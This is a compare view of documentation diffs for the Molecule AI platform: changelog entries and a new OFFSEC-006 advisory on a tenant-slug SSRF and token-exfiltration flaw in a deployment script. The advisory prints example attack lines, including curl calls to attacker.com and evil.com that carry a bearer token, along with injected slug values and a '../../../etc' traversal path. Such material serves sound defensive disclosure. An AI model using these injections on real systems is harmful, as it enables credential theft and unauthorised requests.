Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 8c49c7ce2d | |||
| d7a9ee3504 | |||
| 6971ef23aa |
@@ -8,28 +8,6 @@ Entries are published daily at 23:50 UTC.
|
||||
|
||||
---
|
||||
|
||||
## 2026-05-14
|
||||
|
||||
### 🔒 Security
|
||||
|
||||
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
|
||||
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
|
||||
|
||||
### 🐛 Bug fixes
|
||||
|
||||
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
|
||||
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
|
||||
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
|
||||
|
||||
### 🧹 Internal
|
||||
|
||||
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
|
||||
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
|
||||
|
||||
---
|
||||
|
||||
## 2026-05-12
|
||||
|
||||
### 🔒 Security
|
||||
|
||||
@@ -9,34 +9,23 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
|
||||
|
||||
---
|
||||
|
||||
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
|
||||
## 2026-05-13 — CWE-22: Path Traversal Regression in `org_import.go`
|
||||
|
||||
**Severity:** Critical (CWE-78)
|
||||
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
|
||||
**Affected:** `workspace-server/internal/handlers/org_helpers.go` — `expandWithEnv`
|
||||
**Severity:** High (CWE-22)
|
||||
**PR:** [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pull/810)
|
||||
**Affected:** `org_import.go` — `createWorkspaceTree`
|
||||
|
||||
### Vulnerability
|
||||
|
||||
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
|
||||
|
||||
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
|
||||
A regression removed the `resolveInsideRoot` path-traversal guard from `createWorkspaceTree`. A malicious org YAML with `filesDir: "../../../etc"` could read arbitrary server files through the org template import path.
|
||||
|
||||
### Fix
|
||||
|
||||
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
|
||||
|
||||
```go
|
||||
c := key[0]
|
||||
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
|
||||
return "$" + key // not a valid shell identifier — return literally
|
||||
}
|
||||
```
|
||||
|
||||
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
|
||||
Replaced unprotected `parseEnvFile` calls with `loadWorkspaceEnv` which applies `resolveInsideRoot` validation before accessing any path.
|
||||
|
||||
### User-facing summary
|
||||
|
||||
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
|
||||
Org template imports now correctly validate all file paths before accessing them. Attempts to traverse outside the workspace root are rejected.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -5,5 +5,7 @@ description: Security guides, advisories, and coverage reports for the Molecule
|
||||
|
||||
## In this section
|
||||
|
||||
- [OFFSEC-006: Tenant Slug SSRF + Token Exfiltration (2026-05-14)](/docs/security/offsec-006-slug-ssrf-advisory) —
|
||||
HIGH severity — SSRF and bearer-token exfiltration via unsanitised tenant slug in self-hosted deployment scripts
|
||||
- [SAFE-MCP Security Advisory (2026-04-17)](/docs/security/safe-mcp-advisory) —
|
||||
Three HIGH-severity findings for self-hosted operators
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
---
|
||||
title: "OFFSEC-006: Tenant Slug SSRF + Token Exfiltration (2026-05-14)"
|
||||
description: High-severity SSRF and bearer-token exfiltration via unsanitised tenant slug interpolation in self-hosted deployment scripts.
|
||||
---
|
||||
|
||||
## Advisory overview
|
||||
|
||||
**Severity:** HIGH
|
||||
**CWE:** [CWE-918](https://cwe.mitre.org/data/definitions/918.html) (SSRF) + [CWE-20](https://cwe.mitre.edu/data/definitions/20.html) (Improper Input Validation)
|
||||
**Affected file:** `scripts/promote-tenant-image.sh`
|
||||
**Affected versions:** All self-hosted deployments prior to the fix in `molecule-core` PR [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933)
|
||||
**Fixed in:** `molecule-core` #933 (2026-05-14)
|
||||
**SaaS impact:** None — the platform applies the fix server-side
|
||||
|
||||
This advisory documents a high-severity Server-Side Request Forgery (SSRF) and bearer-token exfiltration vulnerability in the tenant promotion script used by self-hosted operators.
|
||||
|
||||
---
|
||||
|
||||
## Vulnerability details
|
||||
|
||||
Tenant slugs were interpolated directly into URL paths and ECR repository identifiers without any sanitisation.
|
||||
|
||||
### Affected code pattern
|
||||
|
||||
```bash
|
||||
# Vulnerable — slug inserted into URL path unchecked
|
||||
SLUG="?url=https://attacker.com"
|
||||
curl "${PLATFORM_URL}/cp_redeploy_tenant/${SLUG}" # SSRF
|
||||
curl "?url=https://evil.com&token=${CP_TOKEN}" # Token exfiltration
|
||||
```
|
||||
|
||||
A malicious tenant slug such as `?url=https://attacker.com&token=$CP_TOKEN` passed to `promote-tenant-image.sh` could cause the platform to:
|
||||
|
||||
1. **SSRF** — redirect HTTP calls to an attacker-controlled host by injecting a URL parameter
|
||||
2. **Bearer-token exfiltration** — the platform's `CP_TOKEN` appears in the attacker's server access logs via the same URL parameter injection
|
||||
|
||||
### Secondary attack: glob expansion
|
||||
|
||||
Bash glob metacharacters (`*`, `?`, `[`) in slug values were subject to pathname expansion, allowing a slug like `evil?url=https://attacker.com` to expand to a list of filenames before being passed to curl.
|
||||
|
||||
---
|
||||
|
||||
## Recommended mitigations
|
||||
|
||||
### Upgrade (self-hosted operators)
|
||||
|
||||
If you are running a self-hosted control plane, upgrade to the latest `molecule-core` build that includes `molecule-core` PR [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933).
|
||||
|
||||
After upgrading, tenant slugs are validated against RFC-1123 before any network call:
|
||||
|
||||
```bash
|
||||
# Invalid slugs are rejected with exit code 64
|
||||
$ ./promote-tenant-image.sh "?url=https://evil.com"
|
||||
Error: invalid tenant slug "?url=https://evil.com" — must match ^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$
|
||||
```
|
||||
|
||||
### If you cannot upgrade immediately
|
||||
|
||||
Audit your tenant slugs manually. Any slug containing the characters `?`, `#`, `&`, `$`, `/`, `\`, or spaces is a potential exploit vector. Rename affected tenants with clean slugs matching `^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`.
|
||||
|
||||
---
|
||||
|
||||
## Fix summary
|
||||
|
||||
Fix adds `validate_slug()` (new function) — RFC-1123 regex validation (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`), exits with code 64 on invalid slugs before any network call.
|
||||
|
||||
---
|
||||
|
||||
## Credit
|
||||
|
||||
Found and fixed by the Molecule AI security team during internal code review.
|
||||
|
||||
---
|
||||
|
||||
## Related advisories
|
||||
|
||||
- [SAFE-MCP Security Advisory](./safe-mcp-advisory.mdx) — April 2026 audit findings (G-01 through G-03)
|
||||
- [Security Changelog](./changelog.md) — full history of security fixes
|
||||
- [OWASP Agentic Top 10](./owasp-agentic-top-10.mdx) — risk framework reference
|
||||
Reference in New Issue
Block a user